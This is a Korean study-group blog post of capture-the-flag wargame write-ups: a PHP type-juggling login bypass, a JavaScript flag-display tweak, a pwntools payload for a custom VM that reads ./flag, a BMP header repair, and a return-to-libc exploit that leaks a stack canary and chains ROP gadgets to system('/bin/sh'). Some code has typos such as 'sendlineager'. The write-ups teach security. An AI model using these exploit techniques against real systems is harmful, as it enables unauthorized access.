본문 바로가기

4-1. 2024-2 심화 스터디/워게임 도장 깨기

[4주차] 241028 워게임 도장 깨기

 

스터디 방식 : 매주 워게임 문제 관련 개념 및 풀이 방법 공유 


Web - Type c-j

 

문제 첫 화면

 

코드 분석

<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Type c-j</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Type c-j</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Index page</a></li>
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
    <?php
    function getRandStr($length = 10) {
        $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $charactersLength = strlen($characters);
        $randomString = '';
    
        for ($i = 0; $i < $length; $i++) {
            $randomString .= $characters[mt_rand(0, $charactersLength - 1)];
        }
        return $randomString;

    }
    require_once('flag.php');
    error_reporting(0);
    $id = getRandStr();
    $pw = sha1("1");
    // POST request
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
      $input_id = $_POST["input1"] ? $_POST["input1"] : "";
      $input_pw = $_POST["input2"] ? $_POST["input2"] : "";
      sleep(1);

      if((int)$input_id == $id && strlen($input_id) === 10){
        echo '<h4>ID pass.</h4><br>';
        if((int)$input_pw == $pw && strlen($input_pw) === 8){
            echo "<pre>FLAG\n";
            echo $flag;
            echo "</pre>";
          }
        } else{
          echo '<h4>Try again.</h4><br>';
        }
      }else {
      echo '<h3>Fail...</h3>';
     }
    ?> 
    </div> 
</body>
</html>

 

getRandStr(): 랜덤 문자열 생성 함수

반복문을 이용해 '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'에서 무작위로 문자를 선택해 randomString에 추가

문자열의 길이: 10

$id : 10자리 무작위 문자열로 구성된 id
$pw : 1을 sha-1해시로 변환해 비밀번호에 저장

SHA (Secure Hash Algorithm): 안전한 해시 알고리즘
*변화과정: sha-0(최초의 sha 함수) -> sha-1(변형, 개정) -> sha-224, sha-256, sha-384, sha-512 (=>sha-2) -> sha-3

sha-1이란?
SHA함수 중에서 가장 많이 쓰이고 있는 암호 알고리즘
임의의 길이 입력데이터(최대 2^64)
-> 160비트 출력데이터(해시값)로 바꿈
.
sha-0의 압축 함수에 비트 회전 연산을 하나 추가해 원래 알고리즘의 암호학적 보안을 감소시키는 문제점 보완
인터넷 보안 프로토콜, 공개키 인증서.. 적용되는 중요 암호 알고리즘

 

// POST request
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
      $input_id = $_POST["input1"] ? $_POST["input1"] : "";
      $input_pw = $_POST["input2"] ? $_POST["input2"] : "";
      sleep(1);

POST일 때 id, pw 검사 (삼항연산자 - 조건 ? 참일 때 값 : 거짓일 때 값)
사용자가 입력한 id, pw가 값 존재 하면 변수에 할당, 존재 하지 않으면 공백 할당

if((int)$input_id == $id && strlen($input_id) === 10){
        echo '<h4>ID pass.</h4><br>';
        if((int)$input_pw == $pw && strlen($input_pw) === 8){
            echo "<pre>FLAG\n";
            echo $flag;
            echo "</pre>";
          }
        } else{
          echo '<h4>Try again.</h4><br>';
        }

input_id와 아까 랜덤 생성된 아이디를 비교해 두 값이 같아야 함

이때 정수형으로 강제 형변환을 해서 비교, 길이도 10이어야 함.
input_pw도 마찬가지로 정수로 변환되어 8자리 길이로 변환한 1의 SHA-1 해시값 pw와 동일해야 함

-> 두 개 모두 맞아야 flag 출력

 

input_id, pw가 정수형으로 변환될 때 문자열로 시작하면 0, 정수로 시작하면 숫자까지만값으로 변환됨

=> 두 개 모두 일치시키기 위해서는 id의 서로 0이 되는 값 넣으면 됨 -> 10자리 모두 0

pw는 해시 변화 사이트에서 1 변환 값에서 8자리만 넣으면 됨

다음 사진과 같이 넣으면 flag 값이 출력됨

 

Web - old-54

지나가는 문자와 숫자 중 FLAG라는 문자가 각각 표시되었다가 사라짐 -> 모두 합치면 최종 FLAG 값 나올 것이라 추측

=> 빠르게 지나가는 글자 기록하여 인증하는 문제

 

코드 살펴보기

 

function answer(i) { ... }: 비동기적으로 서버에 데이터를 요청하고, 받은 응답을 화면에 표시하는 함수

x.open()을 사용하여 GET 요청을 생성하고, x.send()로 요청을 보냄, 일정 시간 후에 다시 answer() 함수를 호출하면서 서버로부터 응답이 오면 계속해서 화면에 표시

setTimeout("answer(0)",1000);: 웹 페이지가 로드된 후 1초 후에 answer(0) 함수를 호출하여 초기 요청 시작, 초기에 서버로부터 데이터를 요청하고 화면에 표시, 시작 후 20ms마다 요청 반복

코드의 주요 목적: 서버로부터 데이터를 주기적으로 받아와서 화면에 표시하는 것, x.responseText는 서버로부터 받은 응답의 내용을 나타내며, 이를 통해 웹 페이지에 동적인 내용을 업데이트할 수 있음

aview.innerHTML=x.responseText;: 서버에서 받은 응답 데이터를 화면에 데이터를 표시한다.

if(x.responseText=="") aview.innerHTML="?";: 서버 응답이 없을 경우 내용을 물음표(?)로 설정합니다. 이는 데이터가 없을 때 화면에 표시되는 내용입니다.

-> aview.innerHTML=x.responseText; 코드에서 =을 +=으로 변경; 문자열들이 쌓이도록

-> if(x.responseText=="") aview.innerHTML="?"; 코드 삭제

 

=> Flag 값 출력됨

 

Reversing - Super car! Rudolhph

 

코드 분석

사용자에게 입력값을 받아 3바이트(1, 1, 1)씩 인자값으로 전달

 

첫 1바이트는 OPCODE로 사용됨, mov: 1 | add: 2 | lea: 4 | sys: 8

 

2번째 바이트는 register 결정에 사용됨, 세 번째 바이트가 인자 됨

 

실제 select_reg 함수의 코드 보면 register 1, 2, 4, 8 숫자 내에 결정되야 함

 

.flag 값 읽기 위해서 아래 로직의 어셈블리 필요

mov reg, ./flag
sys open
mov reg, size
mov reg, fd
sys read
mov reg, buf
mov reg, fd
mov reg, size
sys write

 

8비트로 각 값 맞추어 코드 작성

from pwn import *

payload = b"" 

d = b"./flag"

#./flag 값을 옮김
for i in range(len(d)):
    payload += p8(1) + p8(1) + p8(i) 
    payload += p8(1) + p8(2) + p8(d[i])
    payload += p8(4) + p8(1) + p8(2) 

payload += p8(1) + p8(1) + p8(0)
payload += p8(1) + p8(2) + p8(0)
payload += p8(8) + p8(1) + p8(1)
payload += p8(1) + p8(4) + p8(100)  
payload += p8(1) + p8(2) + p8(0)  
payload += p8(8) + p8(2) + p8(2) 
payload += p8(1) + p8(1) + p8(1)
payload += p8(1) + p8(2) + p8(0)
payload += p8(1) + p8(4) + p8(100)  
payload += p8(8) + p8(4) + p8(1)  

#p = process('./prob')
p = remote('host3.dreamhack.games', 12445)
print(p.recvuntil(b"Send your rudolph start code: "))
p.sendline(payload) 
print(p.recvall())

위 코드 실행 시 문제 해결

 

Forensic - BMP Recovery

 

코드 확인 - chal.py

with open('flag.bmp', 'rb') as f:
    data = bytearray(f.read())

data[:0x1C] = b'\x00' * 0x1C
data[0x22:0x36] = b'\x00' * 0x14

with open('flag.bmp.broken', 'wb') as f:
    f.write(data)

0x1c까지 0으로 채우고, 0x22~0x36까지 0으로 채움 = flag.bmp.broken

 

bmp 파일이란?
Windows에서 이미지를 고품질로 보여주고, 인쇄 가능한 사진을 저장할 수 있도록 설계된, 비압축 형식의 래스터 파일

BMP 파일포맷은 압축을 수행하지 않고 헤드가 있는 여러 형식의 파일 중 구조가 가장 간단
파일헤드(BITMAPFILEHEADER), 영상헤드(BITMAPINFOHEADER), 팔레트정보(RGBQUAD), 영상데이터(거꾸로 들어있음)

헤더 크기: 54바이트
24비트 컬러: 1픽셀 = 3바이트
실제 이미지 데이터: 전체크기 - 헤더 = 14,309,568바이트
시그니처: 42 4D ("BM")

*사이트 참고: https://m.blog.naver.com/trvlnbh/222079721225

 

문제 풀이

코드에 나온 위치와 주어진 손상된 flag.bmp 파일을 보았을 때, 빨간색으로 네모 박스 친 부분이 00 값으로 덮어 씌워진 것을 알 수 있음

 

*사이트 참고: https://tod-forensics.tistory.com/entry/%ED%9B%BC%EC%86%90%EB%90%9C-bmp-%ED%8C%8C%EC%9D%BC-%EB%B3%B5%EA%B5%AC-%EC%8B%A4%EC%8A%B5

 

  • 42 4D: 시그니처
  • 86 53 DA 00: 파일크기
  • 00 00 00 00: 예약됨
  • 36 00 00 00: 픽셀 데이터 시작위치
  • 28 00 00 00: DIB 헤더 크기
  • 88 08 00 00: 너비 (2184)
  • 88 08 00 00: 높이 (2184)
  • 01 00: 색상 평면
  • 18 00: 비트/픽셀

순수 이미지 데이터 = 14,309,622 - 54 = 14,309,568 바이트

-> 이미지 가로로 길게 나옴 => width 줄이고 height 늘려야 함

 

메타 데이터 부분 문제 없지만, 크기 부분을 계속 조정하는 방식으로 풀어야 함

 

42 4D              : BM (파일 시그니처)
F6 58 DA 00        : 파일 크기 (14,309,622 바이트)
00 00 00 00        : 예약됨 (여기는 00으로 들어가야한다고 함)
36 00 00 00        : 픽셀 데이터 시작 위치 (54 바이트)
28 00 00 00        : DIB 헤더 크기 (40 바이트)
B8 3B 00 00        : 너비 = 0x3BB8 = 15,288 픽셀
38 01 00 00        : 높이 = 0x0138 = 312 픽셀
01 00              : 색상 평면 수 (1)
18 00              : 비트/픽셀 (24비트 컬러)
00 00 00 00        : 압축 방식 (무압축)
C0 58 DA 00        : 이미지 크기 (14,309,568 바이트)
00 00 00 00        : 가로 해상도
00 00 00 00        : 세로 해상도
00 00 00 00        : 색상 팔레트 수
00 00 00 00        : 중요 색상 수

너비(15,288)와 높이(312)의 곱이 4,769,856 픽셀 일치

24비트 컬러(3바이트/픽셀) -> 총 이미지 크기 맞음

너비 15,288로 설정되어 텍스트가 한 줄로 잘 보이게 됨

 

Pwnable - Return to Library

 

Return To Library
: 실행 권한이 남아있는 코드 영역으로 반환 주소를 덮는 공격 기법
- 프로세스 실행 권한이 있는 메모리 영역: (일반적) 바이너리의 코드 영역, 라이브러리의 코드 영역
  → 라이브러리의 코드 영역의 주목

- system, execve 등 프로세스 실행과 관련된 함수들이 구현되어 있음
- 공격자들 libc의 함수들로 NX 우회하고 셸 획득하는 공격 기법 개발 → Return To Libc
  (다른 라이브러리도 공격에 활용될 수 있으므로 → Return To Library)
*유사 공격 기법: Return To PLT; 라이브러리 코드 사용

 

보호기법

amd64 아키텍처, 64bit, canary/NX 걸려 있음

 

코드 확인

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";  //ASLR 적용, PIE가 적용X -> 주소 고정

int main() {
  char buf[0x30];  //buf 크기 

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");  //ASLR 적용, PIE 적용되어 있지 않으면 PLT의 주소 고정
  // PTL, GOT: 라이브러리 함수찹조를 위해 사용하는 테이블
      |-> 함수의 주소가 reslove되지 않았을 때 함수의 주로 구하고 실행하는 코드 적혀있음
      |-> PIE 설정되어 있지 않으면 PTL 주소 고정

  // Leak canary  //스택 카나리 우회
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);  //buf 사이즈 0x30인데 0x100만큼 읽어옴
  printf("Buf: %s\n", buf);  //canary 주소 출력 가능

  // Overwrite return address  //반환 주소 덮음
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);  /*buf 사이즈 0x30인데 0x100만큼 읽어옴*/

  return 0;
}

 

 

익스플로잇 설계

1. 카나리 우회

    첫 번째 입력에서 적절한 길이의 데이터 입력 시 카나리 값 구할 수 있음

2. rdi 값을 "/bin/sh"의 주로로 설정 및 셸 획득

    1) "/bin/sh" 주소 앎, 2) system  함수 PLT 주소 앎 -> system 함수 호출 가능

-> "/bin/sh"의 주소를 rdi 값으로 설정할 수 있다면, system("/bin/sh") 실행 가능 *리턴 가젯 활용

 

리턴 가젯
- 반환 주소를 덮는 공격의 유연성을 높여 익스플로잇에 필요한 조건 만족할 수 있도록 도움
$ ROPgadget --binary [filename]

- 리턴 가젯 찾기; 일반적으로 ROPgadget 사용
   * -re 옵션 사용: ROPgadget --binary ./rtl --re “pop rdi”
- 형식: ROPgadget --binary [실행파일이름] “찾고 싶은 가젯”

 

0. 카나리 우회

# Name: rtl.py
from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = process('./rtl')
e = ELF('./rtl')  #익스플로잇에 사용될 수 있는 각종 정보 기록되어 있음

context.arch = 'amd64'  #아키텍처: amd64, 64bit

# [1] Leak Canary Return to Shellcode-Leak the Canary 코드 참고
buf = b'A'*0x39  #스택의 0x40만큼 크기가 할당되었으므로 A로 덮어씀
p.sendafter(b'Buf: ', buf)  # 첫 번째 'Buf: ' 출력하면 buf 입력
p.recvuntil(buf)  # buf 출력할 때까지 data 수집
cnry = u64(b'\x00'+p.recvn(7))  # 16진수 값으로 Unpacking 해줌
slog('Canary', cnry)

buf와 rbp 까지의 거리: 0x40 -> buf~canary까지의 거리: 0x38(0x40-0x08)

 

1. 가젯; 실행 시 system("/bin/sh") 실행

addr of ("pop rdi") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10

위와 같이 가젯 구성 후 실행 -> system("/bin/sh") 실행 가능

 

2. "/bin/sh" 주소; pwndbg & PLT 주소

pwndbg> search /bin/sh #해당 명령어를 입력해서 찾을 수 있음

ROPTgadget --binary ./rtl --re "pop rdi" #원하는 PLT 주소 찾을 수 있음

*system 함수로 rip 이동할 때 반드시 스택 0x10 단위로 정렬되어 있어야 함 (system 함수 내부에 movaps 명령 때문)

    movaps: 스택이 0x10 단위로 정렬되어 있지 않으면 Segmentation Fault 발생 시킴

 

전체 익스플로잇 코드

# Name: rtl.py
from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = process('./rtl')
e = ELF('./rtl')  # 코드 보고 추가한 것, 익스플로잇에 사용될 수 있는 각종 정보 기록되어 있음

context.arch = 'amd64'  # 아키텍처: amd64, 64bit

# [1] Leak Canary Return to Shellcode-Leak the Canary 코드 참고
buf = b'A'*0x39  #스택의 0x40만큼 크기가 할당되었으므로 A로 덮어씀
p.sendafter(b'Buf: ', buf)  # 첫 번째 'Buf: ' 출력하면 buf 입력
p.recvuntil(buf)  # buf 출력할 때까지 data 수집
cnry = u64(b'\x00'+p.recvn(7))  # 16진수 값으로 Unpacking 해줌
slog('Canary', cnry)

# [2] Address
systemplt = e.plt['system']
binsh = 0x400874
poprdi = 0x0000000000400853
ret = 0x0000000000400285

# [3] Payload
payload = b'A'*0x38 + p64(cnry) + b'A'*0x8
payload += p64(ret)
payload += p64(poprdi)
payload += p64(binsh)
payload += p64(systemplt)

p.sendlineager(b'Buf: ', payload)

# [4]
p.interactive()

해당 익스플로잇 코드 실행 시 flag 값 도출할 수 있음